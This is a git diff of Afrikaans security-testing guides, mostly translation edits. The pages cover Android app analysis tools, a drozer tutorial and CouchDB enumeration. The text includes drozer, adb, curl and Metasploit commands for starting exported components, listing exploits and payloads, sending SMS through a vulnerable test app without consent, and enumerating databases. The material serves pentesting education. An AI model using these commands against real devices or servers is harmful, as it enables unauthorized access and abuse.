voordat die app, sodat dit lyk asof die app vinniger gelaai is. As hierdie snapshot egter **sensitiewe inligting** bevat, kan iemand met toegang tot die snapshot daardie inligting **steel** (let daarop dat jy root nodig het om toegang te verkry). @@ -486,9 +486,9 @@ Hierdie hulpmiddel kan jou help om verskillende hulpmiddels te bestuur tydens di Ontwikkelaars skep dikwels proxy-komponente soos aktiwiteite, dienste en uitsendingsontvangers wat hierdie Intents hanteer en dit aan metodes soos `startActivity(...)` of `sendBroadcast(...)` oorplaas, wat riskant kan wees. -Die gevaar lĂȘ in die toelaat van aanvallers om nie-geĂ«ksporteerde app-komponente te aktiveer of toegang te verkry tot sensitiewe inhoudverskaffers deur hierdie Intents verkeerd te lei. 'n Opmerkelijke voorbeeld is die `WebView` komponent wat URL's na `Intent` objektes omskakel via `Intent.parseUri(...)` en dit dan uitvoer, wat moontlik kan lei tot kwaadwillige Intent inspuitings. +Die gevaar lĂȘ in die toelaat van aanvallers om nie-geĂ«ksporteerde app-komponente te aktiveer of toegang tot sensitiewe inhoudverskaffers te verkry deur hierdie Intents verkeerd te lei. 'n Opmerkelijke voorbeeld is die `WebView` komponent wat URL's na `Intent` objektes omskakel via `Intent.parseUri(...)` en dit dan uitvoer, wat moontlik kan lei tot kwaadwillige Intent inspuitings. -### EssensiĂ«le Afleidings +### Belangrike Afleidings - **Intent Inspuiting** is soortgelyk aan die web se Open Redirect probleem. - Exploits behels die oorplasing van `Intent` objektes as ekstra, wat herlei kan word om onveilige operasies uit te voer. @@ -499,8 +499,8 @@ Die gevaar lĂȘ in die toelaat van aanvallers om nie-geĂ«ksporteerde app-komponen Waarskynlik weet jy van hierdie soort kwesbaarhede van die Web. Jy moet spesiaal versigtig wees met hierdie kwesbaarhede in 'n Android-toepassing: -- **SQL Inspuiting:** Wanneer jy met dinamiese navrae of Inhoudverskaffers werk, verseker dat jy geparametriseerde navrae gebruik. -- **JavaScript Inspuiting (XSS):** Verifieer dat JavaScript en Plugin-ondersteuning vir enige WebViews gedeaktiveer is (standaard gedeaktiveer). [Meer inligting hier](webview-attacks.md#javascript-enabled). +- **SQL Inspuiting:** Wanneer jy met dinamiese navrae of Inhoud-Verskaffers werk, verseker dat jy geparametriseerde navrae gebruik. +- **JavaScript Inspuiting (XSS):** Verifieer dat JavaScript en Plugin ondersteuning gedeaktiveer is vir enige WebViews (standaard gedeaktiveer). [Meer inligting hier](webview-attacks.md#javascript-enabled). - **Plaaslike LĂȘer Insluiting:** WebViews moet toegang tot die lĂȘerstelsel gedeaktiveer hĂȘ (standaard geaktiveer) - `(webview.getSettings().setAllowFileAccess(false);)`. [Meer inligting hier](webview-attacks.md#javascript-enabled). - **Ewige koekies**: In verskeie gevalle wanneer die android-toepassing die sessie beĂ«indig, word die koekie nie herroep nie of dit kan selfs op skyf gestoor word. - [**Veilige Vlag** in koekies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags) @@ -515,7 +515,7 @@ Waarskynlik weet jy van hierdie soort kwesbaarhede van die Web. Jy moet spesiaal ![](<../../images/image (866).png>) -**Kwetsbaarheidsevaluasie van die toepassing** met 'n pragtige web-gebaseerde frontend. Jy kan ook dinamiese analise uitvoer (maar jy moet die omgewing voorberei). +**Kwetsbaarheidsevaluasie van die toepassing** met 'n mooi web-gebaseerde frontend. Jy kan ook dinamiese analise uitvoer (maar jy moet die omgewing voorberei). ```bash docker pull opensecurity/mobile-security-framework-mobsf docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest @@ -530,7 +530,7 @@ MobSF laat jou ook toe om **diff/vergelyking** analises te doen en om **VirusTot **MobSF** kan ook baie nuttig wees vir **dinamiese analise** in **Android**, maar in daardie geval sal jy MobSF en **genymotion** op jou gasheer moet installeer (n VM of Docker sal nie werk nie). _Let wel: Jy moet **eers 'n VM in genymotion begin** en **dan MobSF.**_\ Die **MobSF dinamiese ontleder** kan: -- **Dump toepassingsdata** (URLs, logs, klembord, skermskote gemaak deur jou, skermskote gemaak deur "**Exported Activity Tester**", e-posse, SQLite-databasisse, XML-lĂȘers, en ander geskepte lĂȘers). Al hierdie word outomaties gedoen behalwe vir die skermskote, jy moet druk wanneer jy 'n skermskoot wil hĂȘ of jy moet druk op "**Exported Activity Tester**" om skermskote van al die uitgevoerde aktiwiteite te verkry. +- **Dump toepassingsdata** (URL's, logs, klembord, skermskote gemaak deur jou, skermskote gemaak deur "**Exported Activity Tester**", e-posse, SQLite-databasisse, XML-lĂȘers, en ander geskepte lĂȘers). Al hierdie word outomaties gedoen behalwe vir die skermskote, jy moet druk wanneer jy 'n skermskoot wil hĂȘ of jy moet druk op "**Exported Activity Tester**" om skermskote van al die uitgevoerde aktiwiteite te verkry. - **HTTPS-verkeer** vasvang - **Frida** gebruik om **runtime** **inligting** te verkry @@ -541,21 +541,21 @@ Van Android **weergawe > 5**, sal dit **outomaties Frida begin** en globale **pr Standaard sal dit ook 'n paar Frida-skripte gebruik om **SSL pinning** te **omseil**, **root-detektering** en **debugger-detektering** en om **interessante API's** te **moniteer**.\ MobSF kan ook **uitgevoerde aktiwiteite** aanroep, **skermskote** daarvan neem en dit **stoor** vir die verslag. -Om die dinamiese toetsing te **begin**, druk die groen knoppie: "**Start Instrumentation**". Druk op die "**Frida Live Logs**" om die logs te sien wat deur die Frida-skripte gegenereer word en "**Live API Monitor**" om al die aanroepings na gehookte metodes, oorgedraagde argumente en teruggegee waardes te sien (dit sal verskyn nadat jy "Start Instrumentation" gedruk het).\ -MobSF laat jou ook toe om jou eie **Frida-skripte** te laai (om die resultate van jou Frida-skripte na MobSF te stuur, gebruik die funksie `send()`). Dit het ook **verskeie vooraf geskryfde skripte** wat jy kan laai (jy kan meer by `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` voeg), kies net **hulle**, druk "**Load**" en druk "**Start Instrumentation**" (jy sal die logs van daardie skripte binne "**Frida Live Logs**" kan sien). +Om die dinamiese toetsing te **begin**, druk die groen knoppie: "**Start Instrumentation**". Druk op "**Frida Live Logs**" om die logs te sien wat deur die Frida-skripte gegenereer word en "**Live API Monitor**" om al die aanroepings na gehookte metodes, oorgedraagde argumente en teruggegee waardes te sien (dit sal verskyn nadat jy "Start Instrumentation" gedruk het).\ +MobSF laat jou ook toe om jou eie **Frida-skripte** te laai (om die resultate van jou Frida-skripte na MobSF te stuur, gebruik die funksie `send()`). Dit het ook **verskeie vooraf geskryfde skripte** wat jy kan laai (jy kan meer byvoeg in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), kies net **hulle**, druk "**Load**" en druk "**Start Instrumentation**" (jy sal in staat wees om die logs van daardie skripte binne "**Frida Live Logs**" te sien). ![](<../../images/image (419).png>) Boonop het jy 'n paar bykomende Frida-funksies: -- **Laden Klasse Opnoem**: Dit sal al die gelaaide klasse druk -- **Strings Vasvang**: Dit sal al die vasgevangde strings druk terwyl jy die toepassing gebruik (baie lawaaierig) +- **Laden Klasse Opnoem**: Dit sal al die geladen klasse druk +- **Strings Vasvang**: Dit sal al die vasgevangde strings druk terwyl jy die toepassing gebruik (baie lawaaiig) - **String Vergelykings Vasvang**: Kan baie nuttig wees. Dit sal **die 2 strings wat vergelyk word** wys en of die resultaat Waar of Vals was. - **Klas Metodes Opnoem**: Sit die klasnaam (soos "java.io.File") en dit sal al die metodes van die klas druk. - **Klas Patroon Soek**: Soek klasse volgens patroon - **Klas Metodes Trace**: **Trace** 'n **hele klas** (sien insette en uitsette van al die metodes van die klas). Onthou dat MobSF standaard verskeie interessante Android API-metodes trace. -Sodra jy die bykomende module gekies het wat jy wil gebruik, moet jy druk op "**Start Intrumentation**" en jy sal al die uitsette in "**Frida Live Logs**" sien. +Sodra jy die bykomende module wat jy wil gebruik, gekies het, moet jy druk op "**Start Instrumentation**" en jy sal al die uitsette in "**Frida Live Logs**" sien. **Shell** @@ -570,13 +570,13 @@ receivers ``` **HTTP gereedskap** -Wanneer http-verkeer gevang word, kan jy 'n lelike weergawe van die gevange verkeer op "**HTTP(S) Traffic**" onderaan sien of 'n mooi weergawe in "**Start HTTPTools**" groen knoppie. Van die tweede opsie kan jy **stuur** die **gevange versoeke** na **proxies** soos Burp of Owasp ZAP.\ +Wanneer http-verkeer gevang word, kan jy 'n lelike weergawe van die gevange verkeer op "**HTTP(S) Traffic**" onderaan sien of 'n mooi weergawe in "**Start HTTPTools**" groen knoppie. Van die tweede opsie af kan jy die **gevange versoeke** na **proxies** soos Burp of Owasp ZAP **stuur**.\ Om dit te doen, _skakel Burp aan -->_ _skakel Intercept af --> in MobSB HTTPTools kies die versoek_ --> druk "**Send to Fuzzer**" --> _kies die proxy adres_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)). -Sodra jy die dinamiese analise met MobSF voltooi het, kan jy druk op "**Start Web API Fuzzer**" om **http versoeke te fuzz** en soek na kwesbaarhede. +Sodra jy die dinamiese analise met MobSF voltooi het, kan jy op "**Start Web API Fuzzer**" druk om **http versoeke te fuzz** en soek na kwesbaarhede. > [!NOTE] -> Na die uitvoering van 'n dinamiese analise met MobSF mag die proxy-instellings verkeerd geconfigureer wees en jy sal nie in staat wees om dit vanaf die GUI reg te stel nie. Jy kan die proxy-instellings regstel deur te doen: +> Na die uitvoering van 'n dinamiese analise met MobSF mag die proxy-instellings verkeerd geconfigureer wees en jy sal nie in staat wees om dit vanaf die GUI reg te stel nie. Jy kan die proxy-instellings regstel deur: > > ``` > adb shell settings put global http_proxy :0 @@ -589,13 +589,13 @@ Hierdie gereedskap sal 'n paar **Hooks** gebruik om jou te laat weet **wat in di ### [Yaazhini](https://www.vegabird.com/yaazhini/) -Dit is 'n **wonderlike gereedskap om statiese analise met 'n GUI** uit te voer. +Dit is 'n **wonderlike gereedskap om statiese analise met 'n GUI uit te voer** ![](<../../images/image (741).png>) ### [Qark](https://github.com/linkedin/qark) -Hierdie gereedskap is ontwerp om te soek na verskeie **veiligheidsverwante Android-toepassing kwesbaarhede**, hetsy in **bronkode** of **gepakde APK's**. Die gereedskap is ook **in staat om 'n "Proof-of-Concept" ontploembare APK** en **ADB-opdragte** te skep, om sommige van die gevonde kwesbaarhede (Blootgestelde aktiwiteite, intents, tapjacking...) te benut. Soos met Drozer, is daar geen behoefte om die toets toestel te root nie. +Hierdie gereedskap is ontwerp om na verskeie **veiligheidsverwante Android-toepassing kwesbaarhede** te soek, hetsy in **bronkode** of **gepakde APK's**. Die gereedskap is ook **in staat om 'n "Proof-of-Concept" ontploembare APK** en **ADB-opdragte** te skep, om sommige van die gevonde kwesbaarhede (Blootgestelde aktiwiteite, intents, tapjacking...) te benut. Soos met Drozer, is daar geen behoefte om die toets toestel te root nie. ```bash pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -605,7 +605,7 @@ qark --java path/to/specific/java/file.java ### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git) - Vertoon alle onttrokken lĂȘers vir maklike verwysing -- Decompileer outomaties APK-lĂȘers na Java en Smali-formaat +- Decompileer APK-lĂȘers outomaties na Java en Smali-formaat - Analiseer AndroidManifest.xml vir algemene kwesbaarhede en gedrag - Statiese bronnekode-analise vir algemene kwesbaarhede en gedrag - Toestelinligting @@ -619,7 +619,7 @@ SUPER is 'n opdraglyn-toepassing wat gebruik kan word in Windows, MacOS X en Lin Alle reĂ«ls is gefokus in 'n `rules.json` lĂȘer, en elke maatskappy of toetsers kan hul eie reĂ«ls skep om te analiseer wat hulle nodig het. -Laai die nuutste binĂȘre af van die [download page](https://superanalyzer.rocks/download.html) +Laai die nuutste binaire lĂȘers af van die [download page](https://superanalyzer.rocks/download.html) ``` super-analyzer {apk_file} ``` @@ -627,9 +627,9 @@ super-analyzer {apk_file} ![](<../../images/image (297).png>) -StaCoAn is 'n **crossplatform** hulpmiddel wat ontwikkelaars, bugbounty jagters en etiese hackers help om [statiese kode analise](https://en.wikipedia.org/wiki/Static_program_analysis) op mobiele toepassings uit te voer. +StaCoAn is 'n **crossplatform** hulpmiddel wat ontwikkelaars, bugbounty jagters en etiese hackers help om [statische kode analise](https://en.wikipedia.org/wiki/Static_program_analysis) op mobiele toepassings uit te voer. -Die konsep is dat jy jou mobiele toepassingslĂȘer (n .apk of .ipa lĂȘer) op die StaCoAn toepassing sleep en dit 'n visuele en draagbare verslag vir jou sal genereer. Jy kan die instellings en woordlyste aanpas om 'n gepersonaliseerde ervaring te kry. +Die konsep is dat jy jou mobiele toepassingslĂȘer (n .apk of .ipa lĂȘer) op die StaCoAn-toepassing sleep en dit sal 'n visuele en draagbare verslag vir jou genereer. Jy kan die instellings en woordlyste aanpas om 'n gepersonaliseerde ervaring te kry. Laai [nuutste weergawe](https://github.com/vincentcox/StaCoAn/releases) af: ``` @@ -638,7 +638,7 @@ Laai [nuutste weergawe](https://github.com/vincentcox/StaCoAn/releases) af: ### [AndroBugs](https://github.com/AndroBugs/AndroBugs_Framework) AndroBugs Framework is 'n Android kwesbaarheid analise stelsel wat ontwikkelaars of hackers help om potensiĂ«le sekuriteitskwesbaarhede in Android toepassings te vind.\ -[Windows vrylatinge](https://github.com/AndroBugs/AndroBugs_Framework/releases) +[Windows releases](https://github.com/AndroBugs/AndroBugs_Framework/releases) ``` python androbugs.py -f [APK file] androbugs.exe -f [APK file] @@ -647,7 +647,7 @@ androbugs.exe -f [APK file] **Androwarn** is 'n hulpmiddel wat as hoofdoel het om die gebruiker te detecteer en te waarsku oor potensiĂ«le kwaadwillige gedrag wat deur 'n Android-toepassing ontwikkel is. -Die opsporing word uitgevoer met die **statische analise** van die toepassing se Dalvik bytecode, verteenwoordig as **Smali**, met die [`androguard`](https://github.com/androguard/androguard) biblioteek. +Die detectie word uitgevoer met die **statische analise** van die toepassing se Dalvik bytecode, verteenwoordig as **Smali**, met die [`androguard`](https://github.com/androguard/androguard) biblioteek. Hierdie hulpmiddel soek na **gewone gedrag van "slegte" toepassings** soos: Telefoonidentifiseerders eksfiltrasie, Klank/video vloei onderskepping, PIM data wysiging, Willekeurige kode uitvoering... ``` @@ -657,16 +657,16 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3 ![](<../../images/image (595).png>) -**MARA** is 'n **M**obiele **A**pplicatie **R**everse engineering en **A**nalise Raamwerk. Dit is 'n hulpmiddel wat algemeen gebruikte mobiele toepassings reverse engineering en analise hulpmiddels saamvoeg, om te help met die toetsing van mobiele toepassings teen die OWASP mobiele sekuriteitsbedreigings. Die doel daarvan is om hierdie taak makliker en vriendeliker te maak vir mobiele toepassingsontwikkelaars en sekuriteitsprofessionals. +**MARA** is 'n **M**obiele **A**pplicatie **R**everse engineering en **A**nalise Framework. Dit is 'n hulpmiddel wat algemeen gebruikte mobiele toepassings reverse engineering en analise hulpmiddels saamvoeg, om te help met die toetsing van mobiele toepassings teen die OWASP mobiele sekuriteitsbedreigings. Die doel is om hierdie taak makliker en vriendeliker te maak vir mobiele toepassingsontwikkelaars en sekuriteitsprofessionals. -Dit is in staat om: +Dit kan: -- Java en Smali kode te onttrek met behulp van verskillende hulpmiddels -- APK's te analiseer met: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) -- Privaatsakennisse uit die APK te onttrek met behulp van regexps. -- Die Manifest te analiseer. -- Gevonde domeine te analiseer met: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) en [whatweb](https://github.com/urbanadventurer/WhatWeb) -- APK te deobfuscate via [apk-deguard.com](http://www.apk-deguard.com) +- Java en Smali kode onttrek met behulp van verskillende hulpmiddels +- APK's analiseer met behulp van: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) +- Privaat inligting uit die APK onttrek met behulp van regexps. +- Die Manifest analiseer. +- Gevonde domeine analiseer met behulp van: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) en [whatweb](https://github.com/urbanadventurer/WhatWeb) +- APK deobfuskeer via [apk-deguard.com](http://www.apk-deguard.com) ### Koodous @@ -678,21 +678,21 @@ Let daarop dat dit afhang van die diens en konfigurasie wat jy gebruik om die ko ### [ProGuard]() -Van [Wikipedia](): **ProGuard** is 'n oopbron-opdraglyn hulpmiddel wat Java kode verklein, optimaliseer en obfuskeer. Dit is in staat om bytecode te optimaliseer sowel as om ongebruikte instruksies te identifiseer en te verwyder. ProGuard is gratis sagteware en word versprei onder die GNU Algemene Publieke Lisensie, weergawe 2. +Van [Wikipedia](): **ProGuard** is 'n oopbron-opdraglyn hulpmiddel wat Java kode verklein, optimaliseer en obfuskeer. Dit kan bytecode optimaliseer sowel as ongebruikte instruksies opspoor en verwyder. ProGuard is gratis sagteware en word versprei onder die GNU Algemene Publieke Lisensie, weergawe 2. ProGuard word versprei as deel van die Android SDK en loop wanneer die toepassing in vrystellingmodus gebou word. ### [DexGuard](https://www.guardsquare.com/dexguard) -Vind 'n stap-vir-stap gids om die apk te deobfuscate in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) +Vind 'n stap-vir-stap gids om die apk te deobfuskeer in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) -(Van daardie gids) Laas keer wat ons gekyk het, was die Dexguard werksmodus: +(Van daardie gids) Laas keer wat ons gekontroleer het, was die Dexguard werksmodus: - laai 'n hulpbron as 'n InputStream; - voer die resultaat aan 'n klas wat van FilterInputStream erf om dit te ontsleutel; -- doen 'n paar nuttelose obfuskerings om 'n paar minute se tyd van 'n omgekeerder te mors; +- doen 'n paar nuttelose obfuskerings om 'n paar minute se tyd van 'n omkeerder te mors; - voer die ontsleutelde resultaat aan 'n ZipInputStream om 'n DEX-lĂȘer te kry; -- laai uiteindelik die resulterende DEX as 'n Hulpbron met behulp van die `loadDex` metode. +- laastens laai die resulterende DEX as 'n Hulpbron met behulp van die `loadDex` metode. ### [DeGuard](http://apk-deguard.com) @@ -702,11 +702,11 @@ Jy kan 'n obfuskeer APK na hul platform oplaai. ### [Deobfuscate android App]https://github.com/In3tinct/deobfuscate-android-app -Dit is 'n LLM-hulpmiddel om enige potensiĂ«le sekuriteitskwesbaarhede in android-apps te vind en android-appkode te deobfuscate. Gebruik Google's Gemini openbare API. +Dit is 'n LLM hulpmiddel om enige potensiĂ«le sekuriteitskwesbaarhede in android toepassings te vind en android toepassingskode te deobfuskeer. Gebruik Google se Gemini publieke API. ### [Simplify](https://github.com/CalebFenton/simplify) -Dit is 'n **generiese android deobfuscator.** Simplify **voortvirtueel 'n app** om sy gedrag te verstaan en dan **probeer om die kode te optimaliseer** sodat dit identies optree, maar makliker vir 'n mens om te verstaan. Elke optimaliseringstipe is eenvoudig en generies, so dit maak nie saak watter spesifieke tipe obfuskering gebruik word nie. +Dit is 'n **generiese android deobfuscator.** Simplify **voortvirtueel 'n app** om sy gedrag te verstaan en dan **probeer om die kode te optimaliseer** sodat dit identies optree, maar makliker vir 'n mens om te verstaan. Elke optimalisering tipe is eenvoudig en generies, so dit maak nie saak wat die spesifieke tipe obfuskerings is nie. ### [APKiD](https://github.com/rednaga/APKiD) @@ -714,13 +714,13 @@ APKiD gee jou inligting oor **hoe 'n APK gemaak is**. Dit identifiseer baie **ko ### Manual -[Lees hierdie tutoriaal om 'n paar truuks te leer oor **hoe om pasgemaakte obfuskerings te reverse**](manual-deobfuscation.md) +[Lees hierdie tutoriaal om 'n paar truuks te leer oor **hoe om pasgemaakte obfuskerings te reverseer**](manual-deobfuscation.md) ## Labs ### [Androl4b](https://github.com/sh4hin/Androl4b) -AndroL4b is 'n Android sekuriteits virtuele masjien gebaseer op ubuntu-mate wat die versameling van die nuutste raamwerk, tutoriaal en laboratoriums van verskillende sekuriteitsgeeks en navorsers vir reverse engineering en malware analise insluit. +AndroL4b is 'n Android sekuriteits virtuele masjien gebaseer op ubuntu-mate wat die versameling van die nuutste raamwerke, tutoriaal en laboratoriums van verskillende sekuriteitsgeeks en navorsers vir reverse engineering en malware analise insluit. ## References diff --git a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md index f9a9432f9..5340b9a7a 100644 --- a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md @@ -2,8 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} - - ## APKs om te toets - [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (van mrwlabs) @@ -42,17 +40,17 @@ drozer console connect | **Opdragte** | **Beskrywing** | | --------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------- | | **Help MODULE** | Wys hulp van die geselekteerde module | -| **list** | Wys 'n lys van alle drozer modules wat in die huidige sessie uitgevoer kan word. Dit verberg modules waarvoor jy nie toepaslike regte het om te loop nie. | +| **list** | Wys 'n lys van alle drozer modules wat in die huidige sessie uitgevoer kan word. Dit verberg modules wat jy nie die toepaslike regte het om te loop nie. | | **shell** | Begin 'n interaktiewe Linux-skaal op die toestel, in die konteks van die Agent. | -| **clean** | Verwyder tydelike lĂȘers wat deur drozer op die Android-toestel gestoor is. | -| **load** | Laai 'n lĂȘer wat drozer-opdragte bevat en voer dit in volgorde uit. | +| **clean** | Verwyder tydelike lĂȘers wat deur drozer op die Android-toestel gestoor is. | +| **load** | Laai 'n lĂȘer wat drozer opdragte bevat en voer dit in volgorde uit. | | **module** | Vind en installeer addisionele drozer modules van die Internet. | | **unset** | Verwyder 'n benoemde veranderlike wat drozer aan enige Linux-skaal wat dit genereer, deurgee. | | **set** | Stoor 'n waarde in 'n veranderlike wat as 'n omgewingsveranderlike aan enige Linux-skaal wat deur drozer gegenereer word, deurgegee sal word. | -| **shell** | Begin 'n interaktiewe Linux-skaal op die toestel, in die konteks van die Agent | +| **shell** | Begin 'n interaktiewe Linux-skaal op die toestel, in die konteks van die Agent | | **run MODULE** | Voer 'n drozer module uit | -| **exploit** | Drozer kan eksploiters skep om in die toestel uit te voer. `drozer exploit list` | -| **payload** | Die eksploiters benodig 'n payload. `drozer payload list` | +| **exploit** | Drozer kan eksplosiewe skep om in die toestel uit te voer. `drozer exploit list` | +| **payload** | Die eksplosiewe benodig 'n payload. `drozer payload list` | ### Pakket @@ -95,14 +93,14 @@ Attack Surface: 2 services exported is debuggable ``` -- **Aktiwiteite**: Miskien kan jy 'n aktiwiteit begin en 'n tipe magtiging omseil wat jou moet verhinder om dit te begin. +- **Aktiwiteite**: Miskien kan jy 'n aktiwiteit begin en 'n tipe outorisering omseil wat jou moet keer om dit te begin. - **Inhoudverskaffers**: Miskien kan jy privaat data toegang of 'n sekuriteitskwesbaarheid (SQL Injection of Path Traversal) benut. - **Dienste**: - **is debuggable**: [Leer meer](#is-debuggeable) ### Aktiwiteite -'n Geverifieerde aktiwiteit komponent se “android:exported” waarde is op **“true”** in die AndroidManifest.xml-lĂȘer gestel: +'n Geverifieerde aktiwiteit komponent se “android:exported” waarde is op **“true”** in die AndroidManifest.xml-lĂȘer: ```html @@ -117,14 +115,14 @@ com.mwr.example.sieve.PWList ``` **Begin aktiwiteit**: -Miskien kan jy 'n aktiwiteit begin en 'n soort van magtiging omseil wat jou moet keer om dit te begin. +Miskien kan jy 'n aktiwiteit begin en 'n tipe outorisering omseil wat jou moet keer om dit te begin. ```bash dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList ``` -U kan ook 'n geexporteerde aktiwiteit vanaf **adb** begin: +Jy kan ook 'n geĂ«ksporteerde aktiwiteit vanaf **adb** begin: - Pakketnaam is com.example.demo -- Geexporteerde Aktiwiteitnaam is com.example.test.MainActivity +- GeĂ«ksporteerde Aktiwiteitnaam is com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` @@ -134,15 +132,15 @@ Hierdie pos was te groot om hier te wees, so **jy kan** [**dit op sy eie bladsy ### Dienste -'n Gedeelde diens word binne die Manifest.xml verklaar: +'n Geverifieerde diens word binne die Manifest.xml verklaar: ```html ``` -Binnen die kode **check** vir die \*\*`handleMessage`\*\* funksie wat die **message** sal **receive**: +Binnen die kode **check** vir die **`handleMessage`** funksie wat die **message** sal **receive**: ![](<../../../images/image (82).png>) -#### Lys diens +#### Lysdiens ```bash dz> run app.service.info -a com.mwr.example.sieve Package: com.mwr.example.sieve @@ -216,7 +214,7 @@ app.broadcast.sniff Register a broadcast receiver that can sniff particu ``` #### Stuur 'n boodskap -In hierdie voorbeeld wat die [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider misbruik, kan jy **enige SMS** na 'n nie-premium bestemming **stuur sonder om** die gebruiker om toestemming te vra. +In hierdie voorbeeld wat die [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider misbruik, kan jy **enige SMS** na 'n nie-premium bestemming **stuur sonder om** die gebruiker vir toestemming te vra. ![](<../../../images/image (415).png>) @@ -228,7 +226,7 @@ run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --compo ``` ### Is debuggeable -'n Produksie APK moet nooit debuggeable wees.\ +'n Produksie APK behoort nooit debuggeable te wees.\ Dit beteken dat jy 'n **java debugger** aan die lopende toepassing kan heg, dit in werklike tyd kan inspekteer, breekpunte kan stel, stap vir stap kan gaan, veranderlike waardes kan versamel en selfs hulle kan verander. [InfoSec institute het 'n uitstekende artikel](../exploiting-a-debuggeable-applciation.md) oor hoe om dieper te delf wanneer jou toepassing debuggeable is en runtime kode in te voeg. Wanneer 'n toepassing debuggeable is, sal dit in die Manifest verskyn: diff --git a/src/network-services-pentesting/5984-pentesting-couchdb.md b/src/network-services-pentesting/5984-pentesting-couchdb.md index 8047d1cb3..6ee9e6fc1 100644 --- a/src/network-services-pentesting/5984-pentesting-couchdb.md +++ b/src/network-services-pentesting/5984-pentesting-couchdb.md @@ -6,7 +6,7 @@ **CouchDB** is 'n veelsydige en kragtige **dokument-georiĂ«nteerde databasis** wat data organiseer met 'n **sleutel-waarde kaart** struktuur binne elke **dokument**. Velde binne die dokument kan voorgestel word as **sleutel/waarde pare, lyste, of kaarte**, wat buigsaamheid in data stoor en onttrekking bied. -Elke **dokument** wat in CouchDB gestoor word, word aan 'n **unieke identifiseerder** (`_id`) op die dokumentvlak toegeken. Boonop word elke wysiging wat gemaak en in die databasis gestoor word, aan 'n **hervisienommer** (`_rev`) toegeken. Hierdie hervisienommer maak doeltreffende **opsporing en bestuur van veranderinge** moontlik, wat maklike onttrekking en sinchronisasie van data binne die databasis vergemaklik. +Elke **dokument** wat in CouchDB gestoor word, word 'n **unieke identifiseerder** (`_id`) op dokumentvlak toegeken. Boonop word elke wysiging wat gemaak en in die databasis gestoor word, 'n **hervisienommer** (`_rev`) toegeken. Hierdie revisienommer maak doeltreffende **opsporing en bestuur van veranderinge** moontlik, wat maklike onttrekking en sinchronisasie van data binne die databasis vergemaklik. **Standaard poort:** 5984(http), 6984(https) ``` @@ -24,7 +24,7 @@ msf> use auxiliary/scanner/couchdb/couchdb_enum ``` curl http://IP:5984/ ``` -Dit stuur 'n GET-versoek na die geĂŻnstalleerde CouchDB-instantie. Die antwoord behoort soos een van die volgende te lyk: +Dit stuur 'n GET-versoek na die geĂŻnstalleerde CouchDB-instantie. Die antwoord moet soos een van die volgende lyk: ```bash {"couchdb":"Welcome","version":"0.10.1"} {"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}} @@ -32,26 +32,26 @@ Dit stuur 'n GET-versoek na die geĂŻnstalleerde CouchDB-instantie. Die antwoord > [!NOTE] > Let daarop dat as jy toegang tot die wortel van couchdb verkry, jy 'n `401 Unauthorized` ontvang met iets soos: `{"error":"unauthorized","reason":"Authentication required."}` **jy sal nie in staat wees om** die banner of enige ander eindpunt te bekom nie. -### Info Enumerasie +### Inligting Enumerasie -Dit is die eindpunte waar jy toegang kan verkry met 'n **GET** versoek en 'n paar interessante inligting kan onttrek. Jy kan [**meer eindpunte en meer gedetailleerde beskrywings in die couchdb dokumentasie vind**](https://docs.couchdb.org/en/latest/api/index.html). +Dit is die eindpunte waar jy toegang kan verkry met 'n **GET** versoek en interessante inligting kan onttrek. Jy kan [**meer eindpunte en meer gedetailleerde beskrywings in die couchdb dokumentasie vind**](https://docs.couchdb.org/en/latest/api/index.html). - **`/_active_tasks`** Lys van lopende take, insluitend die taak tipe, naam, status en proses ID. - **`/_all_dbs`** Retourneer 'n lys van al die databasisse in die CouchDB instansie. -- \*\*`/_cluster_setup`\*\*Retourneer die status van die node of kluster, volgens die kluster opstelling wizard. +- **`/_cluster_setup`** Retourneer die status van die node of kluster, volgens die kluster opstelling wizard. - **`/_db_updates`** Retourneer 'n lys van al die databasis gebeurtenisse in die CouchDB instansie. Die bestaan van die `_global_changes` databasis is vereis om hierdie eindpunt te gebruik. -- **`/_membership`** Vertoon die nodes wat deel is van die kluster as `cluster_nodes`. Die veld `all_nodes` vertoon al die nodes waarvan hierdie node weet, insluitend die wat deel is van die kluster. +- **`/_membership`** Vertoon die nodes wat deel van die kluster is as `cluster_nodes`. Die veld `all_nodes` vertoon al die nodes waarvan hierdie node weet, insluitend diegene wat deel van die kluster is. - **`/_scheduler/jobs`** Lys van replikaasietake. Elke taak beskrywing sal bron en teiken inligting insluit, replikaasie id, 'n geskiedenis van onlangse gebeurtenisse, en 'n paar ander dinge. -- **`/_scheduler/docs`** Lys van 